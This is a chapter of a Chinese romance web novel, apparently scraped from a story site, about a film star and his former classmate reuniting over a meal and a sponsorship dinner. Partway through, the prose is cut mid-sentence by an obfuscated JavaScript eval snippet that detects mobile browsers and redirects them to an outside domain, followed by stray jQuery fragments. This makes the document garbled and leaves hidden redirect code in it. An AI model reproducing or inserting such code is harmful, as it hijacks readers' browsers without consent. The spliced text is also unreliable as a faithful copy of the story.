他要,带她回家。
夜深了,霓虹灯点缀着城市,沈锐推着温以宁,穿过两条小路后,到了一座荒芜的别墅前。
花园里满是杂草,像是许久没有人住过了。
输入指纹,门开了,沈锐打开灯,在一旁翻箱倒柜地找:“找到了。”
一瓶云南喷雾,递给沙发上坐着的温以宁:“自己喷点,饿不饿,我去煮面。”
“我中午在学校吃过了,不是很饿。”
“听听,这像话么?”沈锐板起脸教育道,“午饭是午饭,晚饭是晚饭,如果吃了午饭就不用再吃晚饭了,为什么还会有晚饭这个词。我再给你拓展一下,长得好看的人一般在晚饭之后还会有美味的夜宵。”
“夜宵?你们当艺人的都不用保持身材吗?”
“……”沈锐一时无言,“哥的身材,不差这几两饭。”
温以宁:“哦。”
脚只是扭到了而已,温以宁不是那种娇贵的人,那瓶云南喷雾是拆过的,她喷了一点,清凉沁入肌肤,好受了许多。
紧依着客厅,设有一个微型厨房,男人站在洗手池前,背影高瘦。
她回忆起高中的沈锐,那个眼睛弯起来像月亮的桀骜少年,放学铃一响,她总是立刻背起书包,仙女调侃她饥肠辘辘,着急回家吃饭。
她没有否认,却在放学的路上,默默地望着走在前头的沈锐,他不写作业,所以没有书可背。
目之所至,唯有他的背影。
别墅装修得简约别致,暖色调的灯光充斥在房间的每一寸角落,窗户开了一条缝,冬日特殊的味道伴随着凉风吹在温以宁的脸上,与冰凉相触,她才发现,脸颊微烫。
她安慰着自己,没什么的,只是共处一室而已。
十分钟后,两碗热气腾腾的方便面出锅了,沈锐先把温以宁扶到桌前,再端着面走过来。看着面前色香味俱全的西红鸡蛋面,温以宁还真有些饿了。
沈锐吸溜了一口面:“感觉怎么样?”
温以宁摇了摇头:“饿死我,也想不到有一朝一日会和你在同一屋檐下吃面。”
沈锐搁下筷子,垂眸看着她,幽深的目光令人难以捉摸,唇角挑起意味不明的笑,淡声问:“同桌而食,不好么?”
“久别重逢,很好。”
“久别重逢?”头顶的灯光照在眼底,宛若升起两束火焰,他淡笑道:“久别重逢的老同学不会把人拐到家里来,我想听的不是久别重逢。”
温以宁一怔,声音低落:“那你想听什么?”
“你说呢?”沈锐盯着她笑。
而温以宁如坐针毡,她察觉得到,再见面沈锐表现出的别扭,她自己又何尝不是如此。
电话声不合时宜地响起,打破了长久的沉默。
沈锐的手机就搁在两个中间,温以宁飞速瞥了一眼,微信电话上的头像一看就是个年轻漂亮的女人。
沈锐直接挂了。
对方很执着地又打了过来。
温以宁:“不方便的话,我可以回避。”
“我都带你回家了,还有什么不方便的。”沈锐说着,点了接通。
一口面噎在嗓子眼里,温以宁连忙抱起碗,喝了一大口面汤才顺了下去。
他绝对是故意的,故意膈应她。
还开了免提。
电话中,女人声音动听:“锐,明天有空吗,好久没见了聚一聚,地方隐秘,保证不会有狗仔拍照,你来的话,阿晴一定会很开心的。”
沈锐看向温以宁:“明天有空么?”
电话里的人立马八卦了起来:“锐,这么晚了,你和谁在一起呀?”
沈锐没有得到答案,他也不再寻问温以宁的意见,直接说道:“介意我多带一位朋友么?”
对话里的人开玩笑:“男伴的话,我男朋友可能会吃醋。”
“不会让你男朋友吃醋的,地址私我,拜。”
电话挂了,温以宁却还能听得到余音,她问:“你要……带我去?”
沈锐搁置手机,抬眸看她:“没空啊?”
温以宁准备了一箩筐推辞的话,刚要开口,沈锐早就预料到似的,指了指手机说道:“王姐,王牌娱乐总经理,赞助一个大学社团办活动,她一句话的事儿,不过去不去呢还是看你,我这么大一明星,也不能来硬得不是。”
沈锐低头喝了口汤,余光瞟着对面的小姑娘。
温以宁立马正襟危坐:“有空!”
沈锐悄悄地弯起唇角,不错,识时务者为俊杰。
吃完了,沈锐起身收拾碗筷,温以宁有心帮忙,被沈锐制止了:“我是大男子主义。”
温以宁:“?”
沈锐懒洋洋道:“沈氏大男子主义,钱我赚,碗我刷,我还兼顾貌美如花。”
“……”
自知帮不上什么忙,温以宁坐在沙发上,闲来无事看着电视。她都连换了好几个台,清一色男欢女爱的偶像剧。
沈锐洗完碗,擦擦手走过来,好巧不巧,电视播到男女主角热情拥吻的桥段,吻得十分激烈。
沈锐意味深长地看了温以宁一眼。
“……”
“我随便看看,”温以宁补充,“不是很好看。”
沈锐难得没逗她,问:“看电影吗,我演的。”
温以宁正想赶紧换台,连忙答应着:“可以欣赏一下。”
沈锐拿过遥控器搜索,一边找一边幽幽地说:“我洁身自好,电影里没有吻戏,演技也一般般,没有投入太多情感,但胜在长得好,也就比你刚才看的那个什么男主角好看个一百倍吧。”
她就知道,他不会轻易放过自己。
不过……温以宁在心里悄悄地说,他确实很好看。
娱乐圈不缺长得好看的,但像沈锐这么好看的,极缺。
沈锐的运气也不错,从被星探挖掘到爆红,只用了短短三年的时间。出道后,他刚演了一部电影,还是一部冷门小众的青春疼痛片,没想到影片大卖,成为年度黑马,还在电影节被提名,而身为男主的沈锐也一举荣获了许多国内外的重要奖项。
听说在影片拍摄期间,沈锐差点死在片场,也不知道是不是营销号的夸张谣传。
电影冷灰色的滤镜让片子显得生涩哀伤,温以宁靠在沙发垫上,倦意侵蚀了她本就浪漫过敏的大脑,眼皮渐渐沉了下来,影片中的金发少年在眼前摇晃。
听见耳边均匀的呼吸声,沈锐叹了口气:“我演得有那么差么。”
而且,怎么可以随随便便就和别人回家,还睡得这么香,看着好想欺负一下。
沈锐关了电视,轻轻把温以宁抱去了主卧,为她松了松衣襟的盘扣,盖上了厚厚的被子。
沈锐到楼上洗了个凉水澡,手机里放着歌,陈奕迅用略微沙哑的嗓音唱着:“谁能凭爱意,让富士山私有……”
温以宁不是那巍峨的山,温以宁是绵绵的水,而他是极度缺水的鱼。
沈锐把开关扳到了冷水区的顶头,别墅内安静得只有水声,但他知道,今夜这座大房子里不再是空荡,还有一个人在陪他。
沈锐无声地笑了笑,忽然觉得这个冬天没那么寒冷了。
-
温以宁睡得很舒适,红丝绒窗帘拉得严严实实,没有泄出一丝的阳光,她抱着一个枕头,唇角发出一声满足的喟叹。
她作息还算规律,而室友总是闹到凌晨一两点,外加她上睡眠轻,一年到头也睡不了几个好觉。
“唔,这是在哪……”
温以宁眼睛睁开一条缝,想起来自己是在沈锐家,立马一个激灵,坐起身来。
一看手机,九点二十三。
在别人家,怎么还能赖床呢。
温以宁懊恼地拍了拍脑袋,经过一夜的修复,脚腕上的伤已经大好,她点着脚,拉开窗帘,忽地发现椅子上有一套女装,大抵是沈锐留给她的。
没想到他这个人还挺细心。
温以宁换好衣服,推门出去。
沈锐躺在沙发上打游戏,见她出来,便下了游戏,说:“蓝江买了豆浆油条,一起吃点?”
“好。”
沈锐又问:“脚上的伤怎么样?”
“已经没事了,谢谢你。”温以宁把油条泡在豆浆里,“一会我先回趟学校,我想拿一些画展上的话给赞助商过目,咱们在哪吃饭,我自己打车过去就可以。”
“喂蓝江,帮温以宁去学校取几张画,”沈锐看向温以宁,开了免提,“宿舍号。”
“……5333不是,我自己去就可以。”
蓝江:“沈锐我个大老爷们,怎么去人家女生宿舍取东西,你变态吧。”
沈锐:“废话那么多,让你去就去。”
挂断。
温以宁:“……”
“我不是帮你,趁此机会,是想考验一下蓝江的业务能力,他混吃等死太久了,哪天生锈了我还得给他抹点油。”沈锐认真道。
“谢谢蓝江,也……谢谢你。”
听到自己被提名,沈锐的脸色才晴朗开来:“行吧,算你有良心。”
“沈锐,咱们重新开始吧。”
他像是听错了,微微恍神。
温以宁接着道:“久别重逢,过去的事就让它过去吧,咱们可以重新做朋友。”
“……”沈锐脸色呱哒沉了下来。
温以宁小心翼翼问:“这样不好吗?”总比一直别扭的强。
沈锐叹息一声,敲了敲她的额头:“久别重逢不是我想听的话,算了,说太多你也不会明白,走了,蹭饭去。”
她小声嘟囔:“不好就不好,干嘛打我,男女有别,动手动脚的……不好。”
“男女有别,同桌例外!”
“……”
温以宁一身白毛衣牛仔裤,外头罩了一件沈锐的羽绒服。沈锐则穿了一件长大衣,露出一截藏蓝色的裤腿,温以宁165的身高不算矮,可和185的沈锐站在一起,明显低了一个头。
所以,应该不会有人把他们认成情侣吧。
也有可能是兄妹。
走了一段路,温以宁悄声说:“怎么没有狗仔蹲你啊?"
沈锐没戴口罩,谨慎地压低了些帽檐,笑道:“我的私人生活清汤寡水,没什么好拍的,最重要的是,有你这个护花使者,魑魅魍魉哪敢侵犯。”
就扯吧,清汤寡水,鬼才信。
蓝江开车,在拐弯处等他们。
沈锐坐在副驾驶,温以宁坐在后边,蓝江撑着脑袋往后看:“温以宁啊,咱们也有几年没见了,你还是那么漂亮哈哈,听说你们昨晚……”
沈锐不客气地给他后脑勺一下:“不会说话就别说,好好开车。”
蓝江:“都是老熟人了,说几句话怎么了,我瞧你是嫉妒。”
温以宁开口道:“蓝江,不是你想的那样,昨天我们偶然遇到了,我不小心崴到了脚,多亏了沈锐。我们学校社团恰好需要一笔赞助,所以沈锐才邀请我参加这趟饭局。”
蓝江瞥了一眼沈锐,嘟囔道:“是多亏了他,见色忘义,把我一个人扔在梦我之风。”
温以宁坐在后边,没有听清,但她听清了沈锐打蓝江的耳刮子声。
很清晰。
吃饭的地方是在一座僻静的庄园里,饭桌是古旧的梨花木,墙壁上挂着一幅仕女图,长椅上坐了三个人。
王牌娱乐的王姐,虽然保养得当,但眼角的皱纹暴露出她不小的年纪。王姐身边坐了个小奶狗,亲昵地喝着王姐杯子里的水,二人的关系一目了然。
剩下的那个二十上下的女演员,一头亚麻色的波浪卷,浓妆艳抹,却生了一张极为稚气的脸,这么冷的温度,只穿了一件清凉的吊带。
看见沈锐,艾晴两眼放光,可是又看到沈锐身后跟着的女人,她骤然冷了脸色,略带敌意。
“介绍一下,这位是我的前辈,王牌娱乐的王姐,这是王姐的男朋友,也是王姐公司炙手可热的模特。”
艾晴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544262|186714||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打断沈锐的话,自我介绍道:“我叫艾晴,沈哥新剧搭档。”
沈锐点头:“温以宁,我的高中同学,带她一块吃个饭。”
王姐撑着下巴,意味深长道:“高中同学呀,我还以为是小女朋友哩。小姑娘生得样子好,有没有兴趣进圈里呀?”
沈锐:“她没有。”
王姐:“你替人家答什么哩,这么护短得哟。”
蓝江说:“王姐,你就崩拿温小姐开涮了,你不晓得他们高中的时候,啧啧,那叫个惊天动地,咱们谁都没见过沈锐这小子急吧,可就是为温以宁急过。”
艾晴:“蓝江,你不愧是沈哥的好哥们,比狗仔知道的还多。”
蓝江不知道艾晴在褒贬她,反而得意道:“那可不,案发时我可就在现场。”
“蓝江,你嘴怎么这么碎。”沈锐端起酒杯,看向温以宁,“过去的事情已经过去了,我们重新做朋友,你说对吧,温以宁。”
温以宁轻轻嗯了一声,刚要举杯,被沈锐按住了:“酒烈,不适合你,我去拿点茶。”
他的嘴唇就贴在她的耳边,像是两个人在说什么私密的悄悄话。
艾晴的脸色愈加的难看,沈锐出去后,艾晴说道:“温小姐在做什么工作呀?”
温以宁:“还在念书。”
蓝江道:“我当初要不是出来和沈锐混,现在估计也在念书。”
王姐笑道:“蓝江,你念什么书,人家能给你一个月开千把万的工资,校长都不能吧,你就不是那个念书的料子,人家温小姐可不一样,有读书人的气质。”
蓝江嘿嘿一笑,他确实是个草包,现在的助理职位还靠得是沈锐力荐。
温以宁没有忘记自己来吃饭的目的,她把身后的画册拿了出来:“王姐谬赞,我只是顺着把学念完而已,这些是我画的一些插画,您感兴趣的话可以过目,喜欢哪一张,就当是我送您的见面礼。”
王姐微微惊讶,接过画册翻看了两页。
“阿晴你也看看,画得真的很不错。”王姐抬头看她,“温小姐学的是美术专业吗?”
“美术是我所爱,但很遗憾,没能成为我的专业,我虽然学的是舞蹈学,但幸运的是在大学里有各种各样的社团,我加入了美术社团。”
王姐微笑:“我理解,一纸文凭,可能会埋没一个天才。”
艾晴撅着嘴巴:“画得什么嘛,我是看不懂。”
王姐嗔怪道:“阿晴,你没有艺术灵性,自然看不懂。我早就劝你在去读几年书,可你偏不听,非要出来拍戏。”
艾晴捂着耳朵:“好了,我知道了姨妈。”
沈锐端着茶壶进来,顺手把温艺宁杯子里的酒喝了,再为她重新沏了杯茶:“你们聊什么,这么火热。”
王姐说:“我们在看温小姐的画,说实话,画得是真不错,可我算不上是行家,温小姐,你是否愿意把这些画册暂存在我这里,我相信我们的美术团队里一定有一位属于你的伯乐。”
沈锐道:“她没问题,不过作为报酬,你得赞助一下她们社团办画展。”
沈锐说得露骨,温以宁忙道:“王姐,是这样的,我们社团最近的确有意在本市办一张画展,希望能求得赞助……”
“我明白了,”王姐会意,“这没有问题,阿锐,你把的联系方式推给温小姐,后续相关事宜我们再慢慢推进。”
沈锐:“OK。”
温以宁没想到一切进行的如此顺利,心悦之情难以言表,她感激地看了一眼沈锐,沈锐好像并没有把这件小事放在心上,他冲温以宁摇了摇手机,屏幕上是一个二维码。
温以宁:“嗯?”
沈锐忽然靠近了,低声说:“美女,加个微-信。”
“好,好。”
高中时,大家还在用Q/Q,高中毕业后她千方百计加到了沈锐的微-信,只不过最后不欢而散,她又把他删除了。不知道沈锐还记不得这件事。
这顿饭,除了艾晴以外,其他人吃得都很开心。
王姐本名王淑华,也是业界的一位女强人,她和温以宁畅谈了许多插画和娱乐合作的构想,温以宁只觉得眼前的思路豁然开朗,对王姐更是敬佩不已。
-
不知不觉,屋外落了雪。
沈锐伫立在草檐下,纯黑色的大衣上沾了点点白雪,指尖夹了一支香烟,火星在雪色中闪烁,骨节泛白,像是冷极了。
“沈锐。”
沈锐闻声回头,温以宁正瞧着他看,眼睛亮亮的。
这种一回头就能够看见她的感觉,真好。
沈锐掐灭了烟,扔进了一旁的麻篓:“吃完了?”
“嗯,王姐有事和男朋友先走了,蓝江喝醉了,在和艾小姐聊天,我闲着没事干就出来看看你,沈锐你……你怎么老是抽烟啊?”
“烟瘾,懂?”
“不懂。”
温以宁伸手,摸向沈锐的裤兜,隔着一层布料摩挲,沈锐呼吸一窒,未等他反应过来,温以宁便摸出了半盒烟,不由分说扔进了麻篓。
“吸烟有害健康,别人家的爱豆都是英年早婚,轮到你,却是英年早逝,总归不好。”温以宁看了看他,“打火机也交出来。”
沈锐撇撇嘴:“另一边口袋,自己拿。”说着,贴心把手臂腾开。
温以宁如他所愿,摸出打火机,转手扔了。
其实她也知道,扔了,他还有很多。
被扔了东西,沈锐没有不开心,温以宁却有些难过。
曾经,在操场上,迎面而来的夏风微凉,温以宁坐在台阶上,男生和她离得很近,风将少女的声音送入耳畔:“沈锐,戒烟吧,我不喜欢。”
男生肩头搭着蔚蓝色的校服外套,口袋里装满了各个牌子的烟盒,他笑了笑,把烟盒都抖落出来,一股脑丢进了不远处的垃圾箱。
他笑:“好啊,听我同桌的。”
少年唇边那一缕笑的实在是好看极了,连同着十六岁的夏风,迷了少女的春眼。